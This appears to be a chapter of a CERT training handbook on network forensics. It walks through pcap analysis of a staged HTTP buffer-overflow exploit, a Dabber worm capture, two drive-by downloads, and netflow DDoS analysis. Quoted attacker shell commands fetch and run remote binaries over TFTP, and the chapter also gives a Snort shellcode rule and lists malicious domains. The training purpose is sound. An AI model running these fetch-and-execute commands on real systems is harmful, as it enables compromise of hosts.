7. Exercise: Network Forensic

<table>
<thead>
<tr>
<th>Main Objective</th>
<th>The objective of the exercise is to familiarize students with standard network monitoring tools, their output and applications for the analysis of network security events. As a result, students will be able to interpret the security context of collected network data, thus enabling the post-mortem analysis of security incidents.</th>
</tr>
</thead>
<tbody>
<tr>
<td>Targeted Audience</td>
<td>Technical CERT staff</td>
</tr>
<tr>
<td>Total Duration</td>
<td>Roughly 6 hours, 30 minutes</td>
</tr>
<tr>
<td>Time Schedule</td>
<td>Introduction to the exercise 15 min.</td>
</tr>
<tr>
<td></td>
<td><strong>PART 1  PCAP TRACE ANALYSIS – SERVER SIDE ATTACK</strong></td>
</tr>
<tr>
<td></td>
<td><strong>Task 1</strong>: Introductory scenario – fake web server vulnerability exploitation step-by-step 60 min.</td>
</tr>
<tr>
<td></td>
<td><strong>Task 2</strong>: Dabber scenario 60 min.</td>
</tr>
<tr>
<td></td>
<td><strong>PART 2  PCAP TRACE ANALYSIS – CLIENT SIDE ATTACK</strong></td>
</tr>
<tr>
<td></td>
<td><strong>Task 1</strong>: Drive-by download without fast flux 60 min.</td>
</tr>
<tr>
<td></td>
<td><strong>Task 2</strong>: Drive-by download with fast flux 60 min.</td>
</tr>
<tr>
<td></td>
<td><strong>PART 3  NETFLOW ANALYSIS</strong></td>
</tr>
<tr>
<td></td>
<td><strong>Task 1</strong>: DDoS analysis step-by-step 60 min.</td>
</tr>
<tr>
<td></td>
<td><strong>Task 2</strong>: DDoS analysis DIY 60 min.</td>
</tr>
<tr>
<td></td>
<td>Summary of the exercise 15 min.</td>
</tr>
<tr>
<td>Frequency</td>
<td>This exercise should be carried out whenever a new CERT team is being set up or new team members responsible for advanced incident handling join the team. It should be extended regularly to cover new types of attacks.</td>
</tr>
</tbody>
</table>

7.1 **GENERAL DESCRIPTION**

The exercise should be performed as a ‘hands-on’ class. A short introduction to the field of network forensics should be made. A set of security incident packet traces should be given for analysis. Each packet trace involves a different security scenario, which is presented to the students. For each scenario the goal is to identify security information relevant to a particular incident – in the context of an attacked and attacking host or application. It is recommended that the traces include not just malicious traffic but benign traffic as well, so as to mirror real life conditions. The packet traces should be in *pcap* format and in the form of *netflow* samples. Traces in the *pcap* format should include examples of full packet payload captures.
The students should be allowed access to the Internet and encouraged to use search engines to facilitate their analysis. This handbook contains six examples of attack scenarios. You are encouraged to create your own.

Because of the technical nature of this exercise, it is advisable that you, as the trainer, have a lot of experience with analysing packet and flow traces. The examples in the handbook are detailed so as to help you as much as possible.

Students require access to the Virtual Image, which contains all the tools and logs necessary for carrying out the exercise. The tools needed for each scenario are listed in the handbook sections devoted to the scenarios.

### 7.2 EXERCISE COURSE

The course of this exercise is as follows. Give a short introduction as to why network forensics is important for CERTs. Proceed then with the outline of the exercise.

#### 7.2.1 Introduction to the exercise

At the beginning, introduce students to the exercise, outlining its main parts and how the exercise will be carried out. This exercise consists of three main parts:

PART 1: Pcap trace analysis – server side attack;
PART 2: Pcap trace analysis – client side attack; and
PART 3: Netflow analysis.

Each part consists of two separate scenarios – tasks that need to be carried out. Note that due to the length of the exercise, it is recommended that two full days should be allocated for the exercise.

### 7.3 PART 1 PCAP TRACE ANALYSIS – SERVER SIDE ATTACK

The exercise is divided into two separate scenarios (tasks):

- a demonstration performed by the teacher as the introductory scenario; and
- network forensics skills training with logs of a real attack.

The demonstration prepared for the teacher covers the whole process of the exploitation of a server side service. A specially prepared vulnerable HTTP server was implemented. The server obeys the rules of the HTTP protocol when it receives GET requests. However, whenever a POST request is received, a separate thread is launched to bind a shell to port 12345. Assuming that the POST request will inject proper shellcode, from the network standpoint this ‘fake’ exploitation does not differ from a real one. Shellcode that the binds shell to 12345 port was obtained from the Metasploit framework (http://www.metasploit.org).

During the exploitation process, you should use the wireshark network analyser to capture the traffic. Wireshark will capture all the packets that were received and transmitted on a particular network interface. For a one-machine presentation, the loopback interface is used. The next step in the exercise is a discussion of the consequent stages of the attack – as seen through wireshark.
For the second exercise, traffic captured on a real honeynet system is used. This traffic contains an example of a Dabber worm attack. Using these logs, students will have to demonstrate their skills at using a network analyser such as wireshark and applying its filters to extract consecutive attack stages. You should play the role of a mentor, helping students and answering their questions.

7.3.1 Task 1 Introductory scenario – fake web server vulnerability exploitation step-by-step

The main goal of this exercise is to familiarize students with an example of an attack on a vulnerable HTTP server. The scenario presented in this example is quite common, especially when dealing with attacks carried out automatically, such as worm and botnet infections.

7.3.2 Preparatory notes

The software prepared for the exercise will allow you to demonstrate an attack in real-time. The process of server exploitation can be divided into three stages:

- connecting to the server and sending data that executes a buffer overflow;
- connecting to the shell on port 12345 and executing commands on the compromised system; and
- downloading malicious software using the TFTP client.

The exact course of the attack can be seen in the data captured by a network sniffer, such as tcpdump or wireshark. Each stage can be singled out by the use of filters, which are built into both of the tools mentioned.

The ability to select relevant packets and track connections in pcap dumps is an essential skill in the field of network forensics. The most basic and common cases of filter rules used include:

- filtering connections from certain hosts,
- filtering requests targeted to specific servers or services in a specified period of time, and
- filtering packets by protocol, content and the values of specific protocol fields.

Knowledge of how to write basic filters is usually sufficient to retrieve most of information needed. Students are expected to become familiar with the syntax of the rules. This skill is to be mainly assessed in this and the next exercise.

It is recommended that this exercise be demonstrated in real time. This will raise awareness among students of how easy it is for ‘script kiddies’ to launch attacks. If, for some reason, a real time presentation of the attack is impossible, the Virtual Image contains a pcap file containing a captured attack (/usr/share/trainer/07_NF/adds/).

For the demonstration of the attack, two programs were prepared:

- a vulnerable HTTP server, and
- an exploit for the HTTP server.
The HTTP server is not fully functional software. It serves only one example WWW site and behaves like a compromised host would whenever it receives a HTTP POST request. It cannot be configured to be used in any production environment.

The attack process is as follows:

The first step involves establishing a connection and sending a POST message to the HTTP server. The message is not an ordinary POST request but is deliberately crafted to exploit the server’s vulnerability. Exploitation causes the opening of a system shell, with its standard input and output directed to a socket bound to port 12345. Whoever connects to port 12345 of the compromised server may send commands which will be executed. The bound shell runs with the same user’s ID and privileges as the HTTP server.

After sending a maliciously prepared HTTP request, the exploit waits a few seconds for the port to be opened. It then attempts a connection to the shell. If the connection is successfully established, the following string of commands is sent and executed:

```
cd ~; atftp --get --remote-file exploit2 192.168.0.121;
atftp --get --remote-file hello 192.168.0.121; chmod +x hello; ./hello
```

As a result of the above, the following actions are executed:

- current working directory is changed to user’s home directory;
- exploit file is downloaded from the TFTP server;
- xhttp is downloaded from the TFTP server;
- xhttp execution bit is set; and
- xhttp is executed.

In this example, the xhttp program does nothing. However, in the case of a real exploit, the software could perform actions such as:

- obtaining information about the compromised system;
- communicating with its instances on other exploited machines; and
- carrying out DDoS attacks, sending spam, etc.

At this stage it is recommended that you give a short introduction to buffer overflow attacks to fully explain such attacks to students.

7.3.3 Tools necessary for carrying out this exercise

The following are the tools necessary for conducting this exercise. These tools can be found on the Virtual Image.

- http server,
- exploit (/usr/share/trainer/07_NF/adds/exploit),
- wireshark,
CERT Exercises Toolset

Document for students

- tftp server, and
- tftp client.

Before running the vulnerable HTTP server, make sure that the Apache server has been stopped (remember to restart it again to carry out other exercises later on!):

```bash
sudo /etc/init.d/apache2 stop
```

To run the server, type:

```bash
sudo /etc/init.d/http_server
```

The exploits can be found in the exercise directory.

The exercise can be demonstrated using one machine only. The attacking machine will have the same IP address as the victim.

Further descriptions of the exercise assume that only one machine was used during the exercise, which means that victim's and attacker’s IP address is 127.0.0.1.

The pcap file attached to this exercise on the Virtual Image (/usr/share/trainer/07_NF/adds/) contains logs of attacks launched from a different IP address than the victim’s.

### 7.3.4 Step-by-step demonstration

Once your introduction to the topic is completed, you should give a step-by-step demonstration of an example attack. The students also have access to all the files and should be encouraged to follow your actions and ask questions.

Before launching the exploit, a benign request to the HTTP server can be sent. Run wireshark and start live capture on the loopback interface. Now, run the browser and go to [www.example1.com](http://www.example1.com) site. This example site is served locally. To increase the amount of benign requests, perform some interaction with this simple site. Please note that the exploit might not work on the server without benign activity beforehand.

The exploit will result in the copying of some files from the attacker to the victim machine. Files will be copied to the home directory of the user who ran the HTTP server. As the HTTP server was run with root privileges, the files will be copied to the /root/ directory and all actions performed by the compromised server will use the privileges of the super-user. This example shows why services should be run with only a minimal set of privileges!

Before running the exploit, check the list of files in the home directory of the root user. In the console, type: `ls ~`.

Now, run the exploit. There are two options to be given: the victim's IP address and the TFTP server IP address. Both addresses are the same as the local loopback interface: 127.0.0.1. Change the working directory to the exercise’s directory (/usr/share/trainer/07_NF/adds/) and type `./exploit --h127.0.0.1` . The consecutive actions that the exploit undertakes will be reported to the console:

```
[*] Connecting to vulnerable HTTP Server...done
[*] Sending buffer overflow data...done
```
[*] Attempting to connect to shell: 127.0.0.1:12345...succeeded
[*] Sending commands to compromised server...done
[*] Bye!

The packets which will have caused this successful exploitation will have been captured by wireshark and can now be investigated.

To single out the packets which were sent to the HTTP server, apply the following filter:

![Wireshark filter]

The first HTTP request was performed by the web browser. The filter allows the tracking of all the packets that were sent:

<table>
<thead>
<tr>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>TCP</td>
<td>55177 &gt; www [SYN]</td>
</tr>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>TCP</td>
<td>www &gt; 55177 [SYN, ACK]</td>
</tr>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>TCP</td>
<td>55177 &gt; www [ACK]</td>
</tr>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>HTTP</td>
<td>GET / HTTP/1.1</td>
</tr>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>TCP</td>
<td>www &gt; 55177 [ACK]</td>
</tr>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>HTTP</td>
<td>Continuation or non-HTTP traffic</td>
</tr>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>TCP</td>
<td>55177 &gt; www [ACK]</td>
</tr>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>TCP</td>
<td>www &gt; 55177 [FIN, ACK]</td>
</tr>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>TCP</td>
<td>55177 &gt; www [FIN, ACK]</td>
</tr>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>TCP</td>
<td>www &gt; 55177 [ACK]</td>
</tr>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>TCP</td>
<td>55178 &gt; www [SYN]</td>
</tr>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>TCP</td>
<td>www &gt; 55178 [SYN, ACK]</td>
</tr>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>TCP</td>
<td>55178 &gt; www [ACK]</td>
</tr>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>HTTP</td>
<td>GET /favicon.ico HTTP/1.1</td>
</tr>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>TCP</td>
<td>www &gt; 55178 [ACK]</td>
</tr>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>HTTP</td>
<td>Continuation or non-HTTP traffic</td>
</tr>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>TCP</td>
<td>55178 &gt; www [ACK]</td>
</tr>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>TCP</td>
<td>www &gt; 55178 [FIN, ACK]</td>
</tr>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>TCP</td>
<td>55178 &gt; www [FIN, ACK]</td>
</tr>
<tr>
<td>127.0.0.1</td>
<td>127.0.0.1</td>
<td>TCP</td>
<td>www &gt; 55178 [ACK]</td>
</tr>
</tbody>
</table>

There are two HTTP requests – one for the index.html page and one for the favicon.ico file. A malicious POST request is sent by the exploit:
The fourth packet carries the POST request. The request consists of two packets and the body of the HTTP request carries the actual exploit shellcode which is to be executed. Shellcode is basically a long string of bytes of value 90 followed by almost 90 bytes of assembler instructions. (The first four bytes of the shellcode is the address which overwrites the function return address.) Due to the execution of the shellcode, port 12345 is opened with the system shell bound to it. This is the end of the interaction with the HTTP server.

As we know that the exploit opens port 12345, the traffic sent to this port can be investigated. To do this, a proper filter should be applied, which will single out all traffic targeted or coming from port 12345:

```
127.0.0.1       127.0.0.1       TCP       57620 > 12345 [SYN]
127.0.0.1       127.0.0.1       TCP       12345 > 57620 [SYN, ACK]
127.0.0.1       127.0.0.1       TCP       57620 > 12345 [ACK]
127.0.0.1       127.0.0.1       TCP       57620 > 12345 [PSH, ACK]
127.0.0.1       127.0.0.1       TCP       12345 > 57620 [ACK]
```

From the packets’ payload we can see that, after a TCP connection had been initiated, the following string of commands was sent to the shell:

```
cd ~; atftp --get --remote-file exploit2 192.168.0.121;
atftp --get --remote-file hello 192.168.0.121; chmod +x hello; ./hello
```

We already discussed the meaning of these commands in the previous paragraphs.

In the next step, the exploit and XHTML files are downloaded onto the victim’s machine. To see the TFTP protocol packets, apply the following filter:
To find the names of the files that were downloaded, it is more convenient to apply a filter that shows only the first packet of each TFTP transmission:

```
tftp.source_file
```

Now, list the contents of the root’s home directory. The downloaded files, xhttp and exploit, should be there. One of the commands that was executed launched xhttp. Check if this program is still running:

```
ps aux | grep xhttp
```

The output should show that a process named xhttp is running.

The last point of the presentation of this attack is to check whether an intrusion detection system noticed anything suspicious. The Exercise Virtual Image contains Snort IDS. Alerts are reported in the file

```
/var/log/snort/alert
```

To check the latest alerts, type the command:

```
cat /var/log/snort/alert
```

You should notice one alert:

```
[**] [1:1000002:0] SHELLCODE x86 NOOP [**]

[Priority: 0]

06/14-16:35:30.367355 127.0.0.1:36944 -> 127.0.0.1:80
TCP TTL:64 TOS:0x0 ID:51437 IpLen:20 DgmLen:672 DF
```
The alert was triggered by the following Snort rule:

```
alert ip any $SHELLCODE_PORTS - $HOME_NET any
  (msg: "SHELLCODE x86 NOOP";
   content:L:"|90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90|";
```

This rule alerts whenever a monitored network receives a packet containing at least 14 consecutive bytes of value 90. The event is triggered due to the fact that such a string is often an indication of a shellcode occurrence. The rule comes from a standard set of Snort rules. If the students are unfamiliar with Snort, describe all the fields of the alert in detail.

### 7.3.5 Questions to students

Potential questions to students concerning this scenario:

**Q: Does an attack cause a crash of the exploited application?**

**A: Not always. Authors of exploits try to avoid it. This is due to the fact that a crash of an application will sooner or later be noticed by a system administrator or user.**

**Q: How can I know the port that an exploit used for incoming connections?**

**A: It is possible to identify events that stand out from normal network traffic. For instance, any connection incoming to a port that is not used by any service is a potential indicator of an attack. Wireshark filters are very helpful in this field. Assume that there are two services running on a server – WWW and SSH. To find out suspicious connections incoming to this server, the following filter can be applied:**

```
tcp.dstport != 80 AND tcp.dstport != 22 AND tcp.flags.syn == 1
```

This filter results in displaying the first two packets of every connection (the first packet in TCP protocol always has SYN, and the second SYN and ACK flags) targeted to ports different from the server’s standard services.

Make sure to restart the Apache server that was stopped at the beginning of this scenario!

### 7.4 Task 2 Dabber attack scenario

The next exercise is for the students to perform by themselves. The students are expected to analyse the log files by themselves and explain what is happening. They should identify the stages of the attack as described below, locate the shellcode, and explain how the attack ended. Why did it end the way it did? Below you will find some answers that will help you help the students.
7.4.1 Preparatory notes

The actions of the Dabber worm were first observed in 2004. This worm exploits a vulnerability in the FTP server of the Sasser worm. Consequently, to be infected by Dabber, a machine has to be already infected by Sasser. Sasser is a worm attacking systems from the Windows family. Sasser runs an FTP server on port 5554 of exploited machines which is used to download the worm after a successful initial exploitation.

Dabber scans on port 5554 to find Sasser infected hosts. When it finds and exploits one, the Windows command shell is temporarily bound to port 8967. This shell is used to issue the following command:

```
tftp -I [infecting host ip] GET hello.all package.exe &package.exe & exit
```

The TFTP server is built into Dabber and is used to transfer the executable file of the worm to the target system. When the command is issued, a file ‘package.exe’ will be copied to the victim and executed.

From a network standpoint, the exploit process looks slightly more complicated. The worm connects to port 5554 a few times. The first connection is used to send a single byte (in our case it is ASCII ‘D’). If the connection is successful, it will reconnect and send the exploit. We can also observe that the worm attempts a connection to port 9898. This would be successful on a real compromised machine. However, as this case was captured on a honeynet, exploitation did not cause this port to be opened. Dabber uses port 9898 to recognize infected hosts.

7.4.2 Attack overview

Students are provided with the Dabber pcap file which contains packets from a real example of an attack. Analysis of the attack with wireshark and appropriate filters is to be performed. The attack consists of the following stages:

- Scanning for port 5554;
- Test connection to port 5554 with 1-byte data;
- Reconnect and send the exploit; and
- Interaction with a shell bound to port 8967.

The exercise will start with the analysis of traffic targeted to port 5554. First, proper packets should be filtered (use filter tcp.port = 5554):
As you can see, the amount of traffic targeted to port 5554 is quite significant. Packets that carry data can be singled out using the filter:

```
tcp.dstport == 5554 AND data
```

This filter will display packets that were sent to the FTP server and carried any data. Let us have a closer look at packet numbers 51, 56 and 65. These packets were used to check if the host had been infected by Sasser. To track the entire connection, right-click on one of these packets and choose option ‘Follow TCP Stream’. The result is displayed below:

```
(ip.addr eq 70.237.254.204 and ip.addr eq 90.237.105.143) and (tcp.port eq 3895 and tcp.port eq 5554)
```

This filter may seem complicated but, sometimes, to filter out the desired data, many conditions need to be added. We are interested in packets of a particular IP and TCP port, since this parameter is distinct for every connection in the Internet at one time.

Tell the students to look at packets carrying data and sent to port 5554. Take a closer look at packet number 117. Its payload is quite similar to the payload demonstrated in the previous exercise, where the HTTP server was exploited. This is actually where the exploit sends the shellcode and data to overflow a buffer.
The exploitation phase has already been reached. Follow the communication between the attacker and the victim. Since now you know the IP address of the attacker, apply a filter that will result in packets sent to the victim:

```
ip.dst == 90.237.105.143```

Figure 6: Wireshark output
The next interesting connection starts with packet number 141. The following TCP stream shows the data exchanged when the Windows shell commands were issued. (To see this window, right-click on one of these packets and choose the option ‘Follow TCP Stream’.)

A close look at the packets sent to port 8967 reveals that the exploit tried to connect to the shell more than once. However, after the exit command was issued to the shell, there was no server listening on this port and connections with the RST packet were refused immediately.

As was mentioned Dabber uses 9898 port to find infected hosts. So let’s apply the following filter:

tcp.dstport == 9898

The result shows that the attacker attempted a connection to this port. However, as mentioned earlier, this attack was captured on a honeynet which offered a limited level of interaction with the exploit. Due to this, the connections to this port were refused.

7.5 PART 2 PCAP TRACE ANALYSIS – CLIENT SIDE ATTACK

The second part of the exercise involves scenarios that include client side drive-by-download attacks. You should give a short introduction to these kinds of attacks. The pcap files that contain these attacks are present on the Virtual Image. Students are required to perform the exercises based around the following questions:

a) What happened (step-by-step)?

b) Has the host been infected? If yes, what type of malware is it?
c) How is the attack being carried out?

d) What domains and IPs are involved in the attack? Is there any possibility of fast-flux?

e) How could we mitigate the attack?

The students should use the knowledge acquired from the previous part of the exercise to analyse these attacks properly.

7.5.1 Task 1 Drive-by download without fast flux

In the first example, we are dealing with a drive-by download from a non-fast flux domain.
Use wireshark and the /usr/share/trainer/07_NF/adds/drive-by-download_t.pcap file.

7.5.2 Q 1 What happened?

From pcap file we can surmise that:
1. client host IP is 10.0.0.130, and
2. DNS-server is 10.0.0.2.

Note:
There are three other connections, all benign:
- connection to www.cert.pl (195.187.7.66),
- connection to www.nask.pl (193.59.201.62), and
- connection to urs.microsoft.com via HTTPS (213.199.161.251).

As traffic could be treated like background traffic, it is strongly recommended that it be filtered.

In wireshark, use the filter:
!

|| (ip.dst == 195.187.7.66) || (ip.src == 195.187.7.66)
|| (ip.dst == 193.59.201.62) || (ip.src == 193.59.201.62)
|| (ip.dst == 213.199.161.251) || (ip.src == 213.199.161.251))

7.5.3 Q 2 Has the host been infected?

There were three suspicious W32 binary file downloads from two different sites. In the first case, two files of different sizes were downloaded (the first one was smaller – about 13KB, and the second one larger – about 99KB). In the second case there was one download (file size was about 26KB).

There is a strong possibility that the downloaded files are W32 infected EXEs.

Using wireshark, find where the download of the binary file ends and TCP segments are reassembled (packets number 602, 714 and 806). Use ‘export selected bytes’ on the ‘Media Type’ section and save as an .exe file. Now you have these three suspected W32 binary files. If you have an Internet connection, send them for analysis to VirusTotal <www.virustotal.com>,

- 1st exe file: <<see drive-by-download_t_VT_1st-exe-file.pdf>> a trojan/dropper/downloader
- 2nd exe file: <<see drive-by-download_t_VT_2nd-exe-file.pdf>> a trojan/fake alert
- 3rd exe file: <<see drive-by-download_t_VT_3rd-exe-file.pdf>> a rootkit

(files available on the Virtual Image /usr/share/trainer/07_NF/adds/)

7.5.4 Q 3 How is the attack being carried out?

Strongly obfuscated JavaScripts (multiple) and ‘iframe’ tags (once) are used to redirect to the next hop and set cookies or other markers/stamps/variables. Some JavaScripts are located in the HEAD section of the HTML file and their functions have been triggered with special arguments via ‘onload’ events in the BODY section of the HTML file.

7.5.5 Q 4 What domains and IPs are involved in the attack?

www.homebank.pl is the only site our client host visited intentionally. Its IP resolves to 212.85.111.79 and, as we look at the DNS-server response, this was not fast-flux.

Next the client host was redirected to two different sites, winhex.org/tds/in.cgi?3 (85.255.120.194, no fast-flux) and 1sense.info/t/ (211.95.72.85, no fast-flux), and from them to another, jezl0.com (66.232.114.139, no fast-flux) and 72.36.162.50. Malware has probably been downloaded directly from the last two sites.

We have not seen examples of fast-flux.

7.5.6 Q 5 What could we do to mitigate the attack?

We could blackhole IPs from which the malware was downloaded directly (66.232.114.139 and 72.36.162.50). There is a possibility that these IPs often change (in the middle of the redirection process). We could also blackhole the first site (www.homebank.pl, 212.85.111.79), which the client host visited intentionally, but this site might actually be a victim of an attack (XSS, SQL-injection, etc.) and its ‘malicious function’ is not permanent. We could also blackhole IPs that are in the middle of a redirection process (85.255.120.194, 66.232.114.139). They are pointing to servers which are hosting malicious files. The pointers (that redirect to malware-hosted sites) may change.

We could also blacklist sites (domain names) in the same scenario as above (ie, DNS blackholing).

7.6 Task 2 Drive-by download with fast flux

In this task, the students should perform the investigation in a similar manner to the previous scenario. The necessary file (drive-by-download_fast-flux.pcap) can be found on the Virtual Image.

- Q 1 What happened?

From the pcap file we can surmise that:
1. client host IP is 10.0.0.130, and
2. DNS-server is 10.0.0.2.

Note:
There are three other benign connections:
- connection to www.cert.pl (195.187.7.66),
- connection to www.nask.pl (193.59.201.62), and
- connection to urs.microsoft.com via HTTPS (213.199.161.251).
This traffic should be treated like background traffic, so it is strongly recommended to filter it.
In wireshark, use this as a filter:

```
!(ip.dst == 195.187.7.66) || (ip.src == 195.187.7.66)
|| (ip.dst == 193.59.201.62) || (ip.src == 193.59.201.62)
|| (ip.dst == 213.199.161.251) || (ip.src == 213.199.161.251))
```

7.6.1 Q 2 Has the host been infected?
There is a strong possibility that the downloaded file was a W32 malware EXE (file size about 52224 bytes). From the pcap file we can surmise that the name of the downloaded file is exe.exe (HTTP header ‘Content-Disposition’). In the binary file body we can find: ‘Original Filename aspimgr.exe’.
Use wireshark to find where the download of the binary file ends and TCP segments are reassembled (packet number 568). Use ‘export selected bytes’ on the ‘Media Type’ section and save as an .exe file. If you have an Internet connection, send these for analysis to VirusTotal <www.virustotal.com>, or/and Anubis <http://anubis.iseclab.org/index.php>, or/and Norman SandBox <http://www.norman.com/security_center/security_tools/>. The file is Trojan/Agent/Rootkit/Backdor/Downloader (depending on av vendor).

Next, there were several connections (after the download was ended). The first was to ns.uk2.net 83.170.69.14 to 53/TCP destination port (!?). The next was to yahoo.com (reset by client host), and the next to web.de (reset by client host). Next, the client host connected to 216.150.79.226 and sent some data to php script forum.php (POST method, file debug.txt), and then downloaded common.bin. This file is suspicious.

7.6.2 Q 3 How is the attack being carried out?
In the attack the following redirection methods and obfuscation was used:
- HTTP message 302 (moved temporarily).
- HTTP message 301 (moved permanently).
- Strongly obfuscated JavaScript. Its functions have been triggered with special arguments via an ‘onload’ event in the BODY section. These <SCRIPT> and <BODY> tags are located before the <HTML> tag! In the <HTML> tag (below these two) there is a fake 404 message with the text: ‘The requested URL /index.php were not found on this server. Additionally, a 404 Not Found error was encountered while trying to use an Error Document to handle the request’.

- After the binary file download was completed, the client sent some data (debug.txt) to php script (forum.php) via the POST method. In reply, the client received a suspicious common.bin file.

7.6.3 Q 4 What domains and IPs are involved in the attack?

bigadnet.com is the only site that our client host visited intentionally. As can be seen from the DNS-server response, this was fast-flux and the sites IPs are: 91.98.94.45, 69.66.247.232, 80.200.239.235, 84.10.100.196, 122.128.253.14, 85.226.168.12, 98.227.46.217, 119.30.67.167, 68.200.236.117, etc. The client host established a connection to the first IP in the DNS response (91.98.94.45).

Next, the client host was redirected to www.adsitelo.com. It is also a fast-flux site and the sites IPs are: 12.207.51.110, 76.189.90.19, 99.234.157.198, 66.40.18.206, 76.121.239.20, 74.164.85.5, 99.246.193.180, etc. The client host established a connection to the 3rd IP (99.234.157.198). The first two connection attempts to the earlier IPs failed. Malware was downloaded from this host.

Next, the client host connected to 216.150.79.226, sent some data (DEBUG..TXT) to forum.php, and received some suspicious data (COMMON.BIN).

7.6.4 Q 5 What could we do to mitigate the attack?

Blackholing an IP from which the malware was downloaded directly (91.98.94.45) is not a good idea, because the miscreants use fast-flux. Even if you blackhole all IPs that replied from the DNS servers, there is a possibility that new IPs will appear. These IPs are most probably the victims of attack (zombie PCs). There is only one IP that was not fetched from a NS server: 216.150.79.226 – you could blackhole it. It is better to blacklist domain names: bigadnet.com and www.adsitelo.com.

7.7 Evaluation metrics

Below are some suggested metrics for this part of the exercise:

Students MUST:
- know the host IP and that three binary files (W32) were downloaded; and
- know the IP and domain names involved in the attack. NOTE: the benign sites (legal traffic) should also be known.

Students SHOULD:
- know how the attack was carried out;
- sketch the proceedings (flow chart?) of the attack (as in the PDF files on the DVD);
generate a filter in wireshark that gives a clear view of the malicious traffic; and
be able to identify whether fast-flux service networks were involved.

Students COULD:
- present ideas on how to prevent further attacks; and
- attempt to research malicious JavaScripts (how they work), gathering any information about the binary file and its body from the pcap file using wireshark, extracting binaries to .exe files and analysing them, etc, although this is beyond the scope of this particular exercise.

7.8 PART 3 NETFLOW ANALYSIS

The aim of the netflow scenarios is to familiarize students with the concept of netflow and introduce them to tools that facilitate flow interpretation. Even though netflow does not allow for the examination of packet content, it is a useful mechanism for network forensics, allowing a unique view of what activity was seen at the router level. Netflow can be used to discover and examine DDoS attacks, worm infections, and scanning activity, to verify incident reports, and obtain hints as to how a host was compromised and its subsequent behaviour may be monitored, etc.

7.8.1 Preparatory notes

You should give a short introduction on how netflow works.

The scenarios require computers capable of booting from a Live DVD installation. This installation has a set of tools and netflow logs that allow the exercises to be carried out. The tools used are nfdump and NFSen, developed by SWITCH. The tools are configured for the scenarios. The netflow logs are logs of real attacks that have been anonymized. They feature a mixture of malicious and benign traffic.

You should have experience with analysing flows and the nfdump/NFSen tools.

As in the previous parts, this part is split into two different scenarios (tasks); both are DDoS attacks.

7.8.2 Task 1 DDoS analysis step-by-step

A netflow collector installation is setup with a profile for monitoring a specific IP space. The student plays the role of an administrator working for an ISP that has received a report about a DDoS being carried out against a customer. The administrator is expected to:

- identify when the attack began;
- identify what is actually being attacked;
- identify what IPs are involved in carrying out the attack;
- identify the way the attack is being carried out;
- identify where the attack came from; and
f) suggest ways of mitigating the attack at the ISP level.

What follows is a step-by-step analysis of the above tasks. Using nfdump/NFSen you can perform the analysis by either utilizing the command line interface (more suitable for bulk processing) or the graphic interface. Examples of using both interfaces are presented.

Make sure that the Apache server is running. Run the nfsen_start script available on your Virtual Image Desktop (you can click on it).

7.8.3 Q 1 When did the attack begin?

GUI:

Open the web-browser and go to [http://127.0.0.1/nfsen/nfsen.php](http://127.0.0.1/nfsen/nfsen.php). For a better view you can go to the ‘Graphs’ tab. You can see a huge increase near Feb 24 2007 04:00:

![Network graph](image)

**Figure 9: Network graph**

CLI:

Go to the directory `/data/nfsen/profiles-data/live/upstream` and the list netflow files (nfcapd.*): use `ls -l` (or more human-readable: `ls -lh`)

You can see that, starting from 200702240400, the files are suddenly bigger than before (before ~ about 100-200 KB; from 200702240400 – bigger than 10 MB). Near 200702241050 the files are getting smaller, but still unusually big (about 6 MB). From about 200702241605, the size of the files seems to drop to normal levels.

So, the attack began around 4:00 on 24th February 2007.

7.8.4 Q 2 What is being attacked?

GUI:

In order to identify what is being attacked, it is useful to analyse the details of the graphs and TOP N statistics, generated both after and before the attack. Graphs and TOP N statistics generated before the attack started can be treated as a baseline for comparison with later analysis.

Go to the ‘Details’ tab (1). Pick ‘Time Window’ from the list in ‘Select’ field up (2). On the graph, select an area (3) that looks like normal activity – before the attack started. This is about from Feb 23 2007 20:00 to Feb 24 2007 03:50. Look at the statistics (4) for this timeslot.
(You should also use the ‘Sum’ radio button.) This will tell you that most of the activity was TCP.

Next, select an area on the graph that looks like the attack (from Feb 24 2007 04:00 to about Feb 24 2007 16:05). The statistics say that most of the activity (flows, packets and traffic) was UDP.

Let us find out what is being attacked. Use netflow processing. Reduce the time window to accelerate this process. In this example the timeslot was Feb 24 from 04:00 to 09:00 according to the top 10 statistics about the destination IP ordered by flows, packets, bytes or bits per second (bps). On the screen below you can see the statistics generated by the packets.
Figure 12: Network statistics

You can also use the stats of the flow records with the dstIP aggregated:

** nfdump -M /data/nfsen/profiles-data/live/upstream -T -R nfcpd.200702240400:infcpd.200702240600 -n 10 -s dstip/packets
netflow filter:

Aggregated flows 4667
Top 10 flows ordered by flows:

| Date Flow start | Duration Proto Src Addr:Port | Data IP Addr:Port | Flows Packets Bytes pps bps byps |
|-----------------|----------------------------|------------------|-----------------|-----------------|-----------------|-----------------|-----------------|-----------------|-----------------|-----------------|-----------------|
| 2007-02-24 03:59:35:944 433326:161 0 | 0 0 0 0 | 195.88.49.120 | 0 0 0 0 0 0 | | | | | | |
| 2007-02-24 03:58:36:256 433346:046 | 0 0 0 0 | 195.88.49.97 | 0 0 0 0 0 0 | | | | | | |
